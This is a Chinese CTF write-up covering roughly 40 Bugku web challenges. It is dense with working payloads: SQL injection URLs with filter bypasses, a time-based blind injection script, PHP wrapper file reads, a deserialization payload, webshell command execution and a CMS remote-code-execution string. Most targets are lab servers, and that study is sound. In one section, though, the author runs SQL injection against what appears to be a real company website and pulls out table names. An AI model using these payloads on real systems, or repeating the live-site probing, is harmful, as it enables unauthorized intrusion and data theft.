CTF从入门到成仙,40道bugku Write Up,看完还有什么操作搞不定!
本文原创作者:Passerby2,本文属i春秋原创奖励计划,未经许可禁止转载!
前言
之前刷过的bugku,这次把之前的解题思路过程都总结到一起了,差不多有40道吧应该算比较全了。
[zxsq-anti-bbcode-报错][zxsq-anti-bbcode-1]
题目说:访问参数为:?id=x不允许包含“--”,空格,单引号,双引号,“union”关键字,
查询文件中包含“”(双引号)里面的内容,需要查询的文件路径为:/var/test/key_1.php
针对上述过滤,我们可以采用如下办法绕过:
空格:/**/
--:用#
union: uni%00on
引号:hex编码
下面就可以开心的玩耍了~
爆库:
http://103.238.227.13:10088/id=0x3122/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x3a(select/**/schema_name/**/from/**/information_schema.schemata/**/limit/**/0,1),floor(rand()*2),0x3a,0x3a/**/)name/**/from/**/information_schema.tables/**/group/**/by/**/name)/**/b)/**/#
发现第二个数据库:sql41
不过flag并不在这,他让我们查询文件路径。
参考这篇[zxsq-anti-bbcode-文章][zxsq-anti-bbcode-2]总结的12个错方式
floor报错怎么也读不出文件,于是试了一下extractvalue报错:
http://103.238.227.13:10088/?id=0x3122/**/and/**/extractvalue(1,concat(0x5c,(select/**/hex(load_file(0x2f7661722f746573742f6b65795f312e706870)))))/**/#
这里得把load_file()整个函数给hex编码,不然不知道为啥,不出数据
读出flag:
不过,这只是其中的一节,我们还得想办法弄到后面的字符,这里采用substr():
http://103.238.227.13:10088/?id=0x3122/**/and/**/extractvalue(1,concat(0x5c,(select/**/concat(0x5c,substr((load_file(0x2f7661722f746573742f6b65795f312e706870)),100,30),0x5c)),0x5c))/**/#
截断几次后可以看到flag:
这题真坑啊,要用中文的两个右双引号包裹才能成功交上去...
Flag:”7249f5a7fd1de602b30e6f39aea6193a”
题示信息:
flag格式:flag{xxxxxxxxxxxx}
不如写个Python吧
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER[zxsq-anti-bbcode-'HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER[zxsq-anti-bbcode-'HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER[zxsq-anti-bbcode-'REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[zxsq-anti-bbcode-0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
根据题示信息可以知道:只有插入。没有输出,可以用时间盲注。
时间盲注就是在之后返回的内容相同,没法进行判断的时候;
在mysql数据库中插入sleep()函数,如果()语句能正确执行的话,&&就不会短路,sleep()可以执行,这样响应时间就会增大;而()发生错误没有返回结果时,&&会把sleep()函数短路无法执行;
伪造请求头:
X-Forwarded-For: 1' and sleep(5) and '1' = '1
注意不能用来括号闭合 !!
脚本如下: 当初想的是自动化脱裤...代码有点简陋,需要完善的地方还是挺多的。
# encoding:utf-8
import requests,time,string
characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'http://120.24.86.145:8002/web15/'
cur_database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
# 猜解字母
def get(payload):
flag = ''
for i in range(1, max_length): # i 表示了所要查找的名字的最大长度
next_position = False
for char in characters: # 0x80=128 , 0x20=32, 32-128为可显示的字符的区间
payload_ = payload.format(str(i), char)
headers = {
'X-Forwarded-For': payload_
}
try:
r = requests.get(target,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag += char
print(flag)
next_position = True
break
if not next_position:
return flag
# 指定数据库,获取其下全部表名
def get_table(database):
for i in range(0,5):
print("正在查询数据库" + database + "中的表")
payload = "'+(select case when (substring((" \
"select table_name from information_schema.tables where table_schema='"+ database + "' limit 1 offset "+ str(i) +") " \
"from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
table = get(payload)
print( "数据库" + database + "的第"+ str(i+1) +"个表"+table)
get_col(table)
if not table:
print('数据库'+database+'中的表查询完毕')
break
# 查字段
def get_col(table):
for i in range(0,5):
print("正在查询表" + table + "中的字段")
payload = "'+(select case when (substring((" \
"select column_name from information_schema.columns where table_name='"+ table +"' limit 1 offset "+ str(i) +") " \
"from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
column = get(payload)
print("表" + table + "的第" + str(i+1) + "个字段为" + column )
# print(column)
if not column:
print("表" + table + "中的字段查询完毕")
break
# # 作为单独的模块使用吧,获取字段详细信息
# def result(column,table):
# payload = "'+(select case when (substring((select "+column+" from "+table+") from {0} for 1)='{1}') " \
# "then sleep(4) else 1 end) and '1'='1"
# print(get(payload))
# a = 'flag'
# result(a,a)
if __name__ == "__main__":
database1 = get(cur_database)
table1 = get_table(database1)
最后使用上面被注释掉的那个模块,
获取flag:flag{cdbf14c9551d5be5612f7bb5d2867853}
题示信息: hint:全都tm过滤了绝望吗? 提示 !,!=,=,+,-,^,%
这题当时我用brup爆破被过滤的字符也注了很久,sqlmap也跑了就是跑不出
上面长度370的是都被过滤了的。
后来还是放弃了,去看了下wp,发现还是我太天真了,是.DS_Store源码泄露题。
.DS_Store文件泄露利用简介
DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。
如果开发人员将.DS_Store上传部署到线上环境,可能造成文件目录结构泄露,特别是备份文件、源代码文件
.DS_Store文件泄露利用
这里使用[zxsq-anti-bbcode-ds_store_exp][zxsq-anti-bbcode-5]脚本利用。
python ds_store_exp.py 120.24.86.145:8007/web2/.DS_Store
效果:
当然在这之前需要:
使用工具[zxsq-anti-bbcode-nikto][zxsq-anti-bbcode-6]对该网页进行扫描,可以发现/web2/子目录下有.DS_Store文件泄露的漏洞
这里推荐一个CTF中常见的源码泄露利用工具,其实就是一个爆破字典
拿到一个index.php.bak
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER[zxsq-anti-bbcode-'REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
弱类型数组绕过:
http://120.24.86.145:8002/web16/index.php?kekeyy1[zxsq-anti-bbcode-]=0&kkeyey2[]=a
Flag:Bugku{OH_YOU_FIND_MY_MOMY}
文件上传题:
初步认定,黑名单+content-type验证,上传.htaccess可以成功但是会被改名
图片马也上了,没地方包含...
感觉题目有点奇怪。。看了wp之后 改的是表单提交的Content-Type: MUltipart/form-data 进行大小写绕过....
看源码:文件上传,传了个 过滤了,但是
传了个一句话木马
菜刀连不上,试试命令执行。
system("ls")
看到flag
system("cat this_is_th3_F14g_154f65sd4g35f4d6f43.txt")
SKCTF{uP104D_1nclud3_426fh8_is_Fun}
burp抓包分析,有回显的盲注,改一下上面那个脚本就行,这里直接导出数据包直接跑sqlmap
SQLmap.py -r "path" -p admin_name --dbs
# encoding:utf-8
import requests,re
line = 1
while line < 100:
url = 'http://120.24.86.145:8002/web11/index.php?line='+str(line) +'&filename=aW5kZXgucGhw'
s = requests.session()
responce = s.get(url)
print(responce.text)
line = line + 1
源码如下:
error_reporting(0);
$file=base64_decode(isset($_GET[zxsq-anti-bbcode-'filename'])?$_GET[zxsq-anti-bbcode-'filename']:"");
$line=isset($_GET[zxsq-anti-bbcode-'line'])?intval($_GET[zxsq-anti-bbcode-'line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE[zxsq-anti-bbcode-'margin']) && $_COOKIE[zxsq-anti-bbcode-'margin']=='margin'){
$file_list[zxsq-anti-bbcode-2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[zxsq-anti-bbcode-$line];
}
?>
伪造cookie :margin=margin 访问:/web11/index.php?line=&filename=a2V5cy5waHA 其中a2V5cy5waHA 是keys.php base64加密后的
得到flag:
点一点链接,url变成了:
http://120.24.86.145:8005/post/index.php?file=show.php
这样应该就是php,包含了我们get输入的file参数。
问题是他说flag在index.php,我怎么样都读不出。
后来想到文件包含里面可以用PHP的filter来读php文件(不需要allow_url_include):
file=php://filter/read=convert.base64-encode/resource=./index.php
base64解密后:
error_reporting(0);
if(!$_GET[zxsq-anti-bbcode-file]){echo 'click me? no';}
$file=$_GET[zxsq-anti-bbcode-'file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
flag{edulcni_elif_lacol_si_siht}
看源码:1p.html
被跳转了,View-source: 看源码
得到:
解码后:
var Words =" ";
if(!$_GET[zxsq-anti-bbcode-'id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET[zxsq-anti-bbcode-'id'];
$a=$_GET[zxsq-anti-bbcode-'a'];
$b=$_GET[zxsq-anti-bbcode-'b'];
if(stripos($a,'.')) //不区分大小写的,返回第一个.的位置 这里不能有“.”
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r'); //加上@屏蔽错误信息
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
关键的一段需要绕过的地方:
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
eregi有%00截断的漏洞,$data参数在前面配合file_get_contents()函数,我们可以php://input传入:
payload:
hello.php?id=%00&a=php://input&b=%0012345
post_data:bugku is a nice plateform!
flag{tHis_iS_THe_fLaG}
// Checking whether a user with the same username exists
$username = mysql_real_escape_string($_GET[zxsq-anti-bbcode-'username']);
$password = mysql_real_escape_string($_GET[zxsq-anti-bbcode-'password']);
$query = "SELECT *
FROM users
WHERE username='$username'";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0) {
// User exists, exit gracefully
.
.
}
else {
// If not, only then insert a new entry
$query = "INSERT INTO users(username, password)
VALUES ('$username','$password')";
.
.
}
}
验证登录信息的页面:
$username = mysql_real_escape_string($_GET[zxsq-anti-bbcode-'username']);
$password = mysql_real_escape_string($_GET[zxsq-anti-bbcode-'password']);
$query = "SELECT username FROM users
WHERE username='$username'
AND password='$password' ";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0){
$row = mysql_fetch_assoc($res);
return $row[zxsq-anti-bbcode-'username'];
}
}
return Null;
原理:
这里这行select语句:SELECT FROM users WHERE username='vampire ';
和这句的效果是一样的:SELECT FROM users WHERE username='vampire';
SQL执行字符串处理时,字符串末尾的空格会被去除。
在insert查询中,SQL会根据varchar(n)来限制字符串的最大长度,也就是说大于n的话就只取前n个字符。
下面如果我们用"admin 1"和随便一个密码 来注册一个号子,对于注册界面的select语句,它并没有查到数据库中有该用户,所以成功绕过,运行到后面的insert语句的时候,只会插入前n个字符,所以当空格足够多的时候,相当于插入了一个"admin "
接下来到登录的页面,用admin和之前随便输入的密码进行登录的时候,搜索该用户名SELECT查询都将返回第一个数据记录。这样的话就可以使用原始用户身份登录。
防御办法:将名字那列加上UNIQUE约束,使之不能插入另一条记录,检测到两个相同的字符串,并insert查询失败。
flag: SKCTF{4Dm1n_HaV3_GreAt_p0w3R}
题示信息:txt????
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "
This is flag:" ." $flag
";}
else
{
echo "
sorry!
";}
}
?>
extract($_GET)注册变量
绕过办法:ac=aa&f=php://input
data=aa
后来还知道 访问flag.txt后出现flags (个人觉得,这种方法纯属取巧,很难知道目录下有flag.txt文件的)
http://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt
其实不难发现,上面几个题都出现了file_get_contents函数,而且都和php伪协议有关,这意味着,以后碰到这个函数可以多往这个方面想想
查看源码:
you are not the number of bugku !
既然要用伪协议传入welcome to the bugkuctf,那么就可以用php://filter/convert.base64-encode/resource=hint.php读出hint.php(直接读是读不出来的)
得到:
PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==
base64解码后:
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("good");
}
}
}
?>
__tostring:字符操作时触发()。
用这种伪协议读文件的方法的时候:一定要想着多看几个文件,像index.php(robots.txt) 不能漏
http://120.24.86.145:8006/test1/txt=php://input&file=php://filter/convert.base64-encode/resource=index.php&password=123
$txt = $_GET[zxsq-anti-bbcode-"txt"];
$file = $_GET[zxsq-anti-bbcode-"file"];
$password = $_GET[zxsq-anti-bbcode-"password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!
";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
echo $password 会触发__tostring
所以file参数写包含hint.php,txt还是之前的伪协议不变,password就
用以下脚本传入flag.php,序列化的数据
class Flag
{
public $file = 'Flag.php';
public function __tostring()
{
if (isset($this->file)) {
echo file_get_contents($this->file);
echo "
";
return ("good");
}
}
}
$a = new Flag();
echo serialize($a);
?>
password = O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload:
http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/convert.base64-encode/resource=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
data:welcome to the bugkuctf
拿到flag
flag{php_is_the_best_language}
题目源码:
include "flag.php";
$a = @$_REQUEST[zxsq-anti-bbcode-'hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
使用?hello=file('flag.php')
或者?hello=show_source('flag.php') 等可以读取源码的函数
或者构造var_dump($a) 闭合
过滤了--+,
已判断字段4个
id=-2' union select 1,2,3,database() #
查出数据库:skctf_flag
id=-2' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf_flag' #
查出表:fl4g
id=-2' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g' #
查出字段skctf_flag
id=-2' union select 1,2,skctf_flag,4 from skctf_flag.fl4g #
查出flag:BUGKU{Sql_INJECT0N_4813drd8hz4}
源码:
highlight_file('flag.php');
$_GET[zxsq-anti-bbcode-'id'] = urldecode($_GET[zxsq-anti-bbcode-'id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET[zxsq-anti-bbcode-'uname']) and isset($_POST[zxsq-anti-bbcode-'passwd'])) {
if ($_GET[zxsq-anti-bbcode-'uname'] == $_POST[zxsq-anti-bbcode-'passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET[zxsq-anti-bbcode-'uname']) === sha1($_POST[zxsq-anti-bbcode-'passwd'])&($_GET[zxsq-anti-bbcode-'id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
两个不相等的值,但sha1相等:一样用数组绕过即可获得flag
题示信息:送给大家一个过狗一句话
http://120.24.86.145:8010/index.php?s=phpinfo() 执行成功
但是菜刀连不上,估计是限制了权限。
试了n久之后,看了wp
用的print_r(glob('*.php'));读取敏感文件
Array ( [zxsq-anti-bbcode-0] => 2.php [zxsq-anti-bbcode-1] => 3.php [zxsq-anti-bbcode-2] => 4.php [zxsq-anti-bbcode-3] => 5.php [zxsq-anti-bbcode-4] => a.php [zxsq-anti-bbcode-5] => c.php [zxsq-anti-bbcode-6] => chaoba1.php [zxsq-anti-bbcode-7] => chaoba2.php [zxsq-anti-bbcode-8] => ddee.php [zxsq-anti-bbcode-9] => f.php [zxsq-anti-bbcode-10] => h.php [zxsq-anti-bbcode-11] => haha.php [zxsq-anti-bbcode-12] => index.php [zxsq-anti-bbcode-13] => ll.php [zxsq-anti-bbcode-14] => oudeniu.php [zxsq-anti-bbcode-15] => phpspy1.php [zxsq-anti-bbcode-16] => q.php [zxsq-anti-bbcode-17] => t2.php [zxsq-anti-bbcode-18] => txxxc.php [zxsq-anti-bbcode-19] => x.php [zxsq-anti-bbcode-20] => xxoo.php [zxsq-anti-bbcode-21] => xxoos.php [zxsq-anti-bbcode-22] => zx.php )
尝试:print_r(glob('*.txt'))
Array ( [zxsq-anti-bbcode-0] => NewFile.txt [zxsq-anti-bbcode-1] => a.txt [zxsq-anti-bbcode-2] => flag.txt [zxsq-anti-bbcode-3] => testfile.txt )
尝试:print_r(file("./flag.txt"))
Array ( [zxsq-anti-bbcode-0] => BUGKU{bugku_web_009801_a} )
if(isset($_GET[zxsq-anti-bbcode-'v1']) && isset($_GET[zxsq-anti-bbcode-'v2']) && isset($_GET[zxsq-anti-bbcode-'v3'])){
$v1 = $_GET[zxsq-anti-bbcode-'v1'];
$v2 = $_GET[zxsq-anti-bbcode-'v2'];
$v3 = $_GET[zxsq-anti-bbcode-'v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
v1和v2比:数组绕过
v3 strcmp()绕过:用数组即可
payload: http://118.89.219.210:49162/?v1[zxsq-anti-bbcode-]=123&v2[]=ads&v3[]=123
flag:SKCTF{Php_1s_tH3_B3St_L4NgUag3}
算术题,刷新一次变一次,多刷新几次会发现:
让我们把答案在2秒内以value为参数post上去:
# encoding:utf-8
import requests,re
url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session()
responce = s.get(url)
final = re.findall(r'
result = eval(final[zxsq-anti-bbcode-0])
data = {
"value": str(result)
}
responce2 = s.post(url,data=data)
print(responce2.text)
这里有个坑:一定要开session,不然他会以为你是不同电脑发来的
抓到返回headers 里面有base64加密的flag
base64解密后,发现flag部分还有一次base64
# encoding:utf-8
import requests,base64,re
url = 'http://120.24.86.145:8002/web6/'
s = requests.session()
responce = s.get(url)
f = responce.headers[zxsq-anti-bbcode-'flag']
f = base64.b64decode(f)
print(f)
flag = re.findall(r':(.+?)\'',str(f))[zxsq-anti-bbcode-0].strip()
data = {
'margin': base64.b64decode(flag)
}
print(flag)
responce2 = s.post(url,data=data)
print(responce2.text)
一想到这种题肯定考二次,但是扫了一下目录得到show.php,访问就拿到flag了。这个题没找到回显的点,不知道这个题是考察什么...
源码
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
解法1:
http://120.24.86.145:9009/1.php?shiyan=123&flag=php://input
post_data:123
解法2
http://120.24.86.145:9009/1.php?shiyan=&flag=
flag{bugku-dmsj-p2sm3N}
但是为什么赋1就不相等呢?
http://120.24.86.145:9009/1.php?shiyan=1&flag=1
后来在本地测了一下,因为file_get_contents($flag)始终是包含不到文件的,所以会返回一个空,此时只有当shiyan参数也为空才能相等。
demo:
$flag='123';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag1));
if($shiyan==$content)
{
echo 'bingo';
echo '
';
var_dump($flag);
echo '
';
var_dump($content);
echo '
';
var_dump($shiyan);
}
else
{
var_dump($flag.'
');
var_dump($content.'
');
var_dump($shiyan.'
');
echo'Oh.no';
}
}
?>
$flag = "flag{xxxxx}";
if (isset($_GET[zxsq-anti-bbcode-'a'])) {
if (strcmp($_GET[zxsq-anti-bbcode-'a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
数组绕过:
http://120.24.86.145:9009/6.php?a[]=1
Flag: flag{bugku_dmsj_912k}
if(eregi("hackerDJ",$_GET[zxsq-anti-bbcode-id])) {
echo("
not allowed!
");
exit();
}
$_GET[zxsq-anti-bbcode-id] = urldecode($_GET[zxsq-anti-bbcode-id]);
if($_GET[zxsq-anti-bbcode-id] == "hackerDJ")
{
echo "
Access granted!
";
echo "
flag
";
}
?>
因为浏览器解析一次php解析一次,所以要两次编码:
http://120.24.86.145:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61
flag{bugku__daimasj-1t2}
$flag = "flag";
if (isset ($_GET[zxsq-anti-bbcode-'password'])) {
if (ereg ("^[zxsq-anti-bbcode-a-zA-Z0-9]+$", $_GET[zxsq-anti-bbcode-'password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET[zxsq-anti-bbcode-'password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
ereg()函数匹配数组的时候会返回null,所以:
http://120.24.86.145:9009/19.php?password[]=1--
flag{ctf-bugku-ad-2131212}
题示源码:
$temp = $_GET[zxsq-anti-bbcode-'password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
要求我们传入的password参数不能为数字,且要大于1336。
我们可以在本地测试一下,is_numeric()函数可以被数组绕过,而且该数组可以和数字进行大小比较:
$temp = $_POST[zxsq-anti-bbcode-'passer6y'];
if(is_numeric($temp)) {
echo "is num
";
var_dump($temp);
}
else{
echo "is not num
";
var_dump($temp);
if($temp > 10){
echo "
\$temp > 10";
}
}
?>
所以我们可以,构造payload:
http://120.24.86.145:9009/22.php?password[]=asdsadsadasd
得到flag:flag{bugku_null_numeric}
$flag = "flag";
if (isset($_GET[zxsq-anti-bbcode-'name']) and isset($_GET[zxsq-anti-bbcode-'password']))
{
var_dump($_GET[zxsq-anti-bbcode-'name']);
echo "";
var_dump($_GET[zxsq-anti-bbcode-'password']);
var_dump(sha1($_GET[zxsq-anti-bbcode-'name']));
var_dump(sha1($_GET[zxsq-anti-bbcode-'password']));
if ($_GET[zxsq-anti-bbcode-'name'] == $_GET[zxsq-anti-bbcode-'password'])
echo 'Your password can not be your name!';
else if (sha1($_GET[zxsq-anti-bbcode-'name']) === sha1($_GET[zxsq-anti-bbcode-'password']))
die('Flag: '.$flag);
else
echo 'invalid password';
}
else
echo 'ogin first!';
?>
这个题目要求我们传入name和password参数不相等,但他们的sha1()加密后相等
我们可以本地测试一下如果sha1()函数加密一个数组返回的会是怎样:
$a = $_POST[zxsq-anti-bbcode-'passer6y'];
var_dump(sha1($a));
?>
会发出一个警告,说sha1()希望参数是string类型,但如果我们传入一个数组类型,返回的是NULL,因此此题我们可以构造payload:
http://120.24.86.145:9009/7.php?name[zxsq-anti-bbcode-]=123&password[]=a
得到:flag{bugku--daimasj-a2}
ps:sha1()和md5()处理数组的返回都是Null,所以都可以用数组来绕过
题示源码:
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET[zxsq-anti-bbcode-'password'];
echo noother_says_correct($temp);
?>
这个题的意思就是说,不能输入1-9的数字,但是最后结果是要和 '3735929054'相等,
很容易想到用16进制绕过。
payload:
http://120.24.86.145:9009/20.php?password=0xDEADC0DE
题示源码:
$flag = "xxx";
if (isset ($_GET[zxsq-anti-bbcode-'password']))
{
if (ereg ("^[zxsq-anti-bbcode-a-zA-Z0-9]+$", $_GET[zxsq-anti-bbcode-'password']) === FALSE)
{
echo 'You password must be alphanumeri';
}
else if (strlen($_GET[zxsq-anti-bbcode-'password']) < 8 && $_GET[zxsq-anti-bbcode-'password'] > 9999999)
{
if (strpos ($_GET[zxsq-anti-bbcode-'password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('- have not been found');
}
}
else
{
echo ’Invalid password';
}
}
?>
这个题要求我们传入的password变量,绕过ereg()变量,长度小于8且数值大于9999999,还要有"-"符号。
我们可以用%00来绕过ereg()变量,用数组绕过strlen()来限制我们的数字位数,paylaod如下
http://120.24.86.145:9009/5.php?password[]=%00999999999-
get flag:flag{bugku-dm-sj-a12JH8}
我在本地测数组绕过strlen()的长度限制,不论我传入的数组是什么值,都显示长度为5:
$a = $_POST[zxsq-anti-bbcode-'passer6y'];
var_dump(strlen($a));
?>
题示源码:
$flag = "flag";
if (isset ($_GET[zxsq-anti-bbcode-'ctf'])) {
if (@ereg ("^[zxsq-anti-bbcode-1-9]+$", $_GET[zxsq-anti-bbcode-'ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET[zxsq-anti-bbcode-'ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
strpos()函数和ereg()函数一样也具有数组绕过漏洞
paylaod:
http://120.24.86.145:9009/15.php?ctf[]=123asd
题示源码:
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER[zxsq-anti-bbcode-'REQUEST_METHOD'])
{
$password = $_POST[zxsq-anti-bbcode-'password'];
if (0 >= preg_match('/^[zxsq-anti-bbcode-[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([zxsq-anti-bbcode-[:punct:]]+|[zxsq-anti-bbcode-[:digit:]]+|[zxsq-anti-bbcode-[:upper:]]+|[zxsq-anti-bbcode-[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[zxsq-anti-bbcode-[:punct:]] 任何标点符号 [zxsq-anti-bbcode-[:digit:]] 任何数字 [zxsq-anti-bbcode-[:upper:]] 任何大写字母 [zxsq-anti-bbcode-[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[zxsq-anti-bbcode-[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
从第7行代码我们可以知道,除了空白字符和制表符外不能超过12个字符,还有第9行那个
echo 'flag';
这个是个字符串flag,真正的flag在26行处。
第15行处,
$reg = '/([zxsq-anti-bbcode-[:punct:]]+|[zxsq-anti-bbcode-[:digit:]]+|[zxsq-anti-bbcode-[:upper:]]+|[zxsq-anti-bbcode-[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
要求我们传入的参数中,标点,数字,大写小写字母被匹配的次数大于6。
$ps = array('punct', 'digit', 'upper', 'lower'); //[zxsq-anti-bbcode-[:punct:]] 任何标点符号 [zxsq-anti-bbcode-[:digit:]] 任何数字 [zxsq-anti-bbcode-[:upper:]] 任何大写字母 [zxsq-anti-bbcode-[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[zxsq-anti-bbcode-[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
同时要求我们包含这几种类型至少三种以上,且使password参数和42相等
payload:
password=42.00e+0000000000
flag{Bugku_preg_match}
提示信息:点了login咋没反应,提示:hint
这题有毒,提示hint,竟然是以hint为参数,随便传入一个值即可获得源码:
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE[zxsq-anti-bbcode-'ISecer'];
if(isset($_GET[zxsq-anti-bbcode-'hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
}
$KEY='ISecer:www.isecer.com';
?>
一开始,我把反序列化数据,然后按照
s:21:"ISecer:www.isecer.com";
![zxsq-anti-bbcode-Alt text](https://i.loli.net/2018/06/17/5b26122f446fb.png)
传了上去,感觉智商再次被侮辱..这个$key变量的值是后面才传入的,所以我们应该传个空的反序列化数据:
![zxsq-anti-bbcode-Alt text](https://i.loli.net/2018/06/17/5b261218a6a9c.png)
## 实战2-
打开页面,既然题目说了,那就找,点了一遍,发现一个http://www.kabelindo.co.id/readnews.php?id=18
顺手一个单引号,诶报错了,那就来
表名出来了,flag{tbnomax}
## Bugku-cms1
打开页面,往下一拉,Powered by SongCMS v3.13 免费版
日常扫目录,发现一个/data/,打开一看有个sql文件,里面有两个账号密码,分别试了一下,进了后台,找下上传文件的地方
![zxsq-anti-bbcode-CukCtJ.jpg](https://s1.ax1x.com/2018/04/18/CukCtJ.jpg)
![zxsq-anti-bbcode-CukA6x.jpg](https://s1.ax1x.com/2018/04/18/CukA6x.jpg)
然后上传成功,菜刀一连,flag就在根目录下
## phpcmsV9
照着漏洞来就行了
http://www.freebuf.com/vuls/131648.html
## 海洋cms
个人觉得,这些题考察exp快速搜索能力
参考:https://blog.csdn.net/qq_35078631/article/details/76595817
http://120.24.86.145:8008/search.php?searchtype=5
searchword=d&order=}{end if}{if:1)print_r($_POSTfunc);//}{end if}&func=assert&
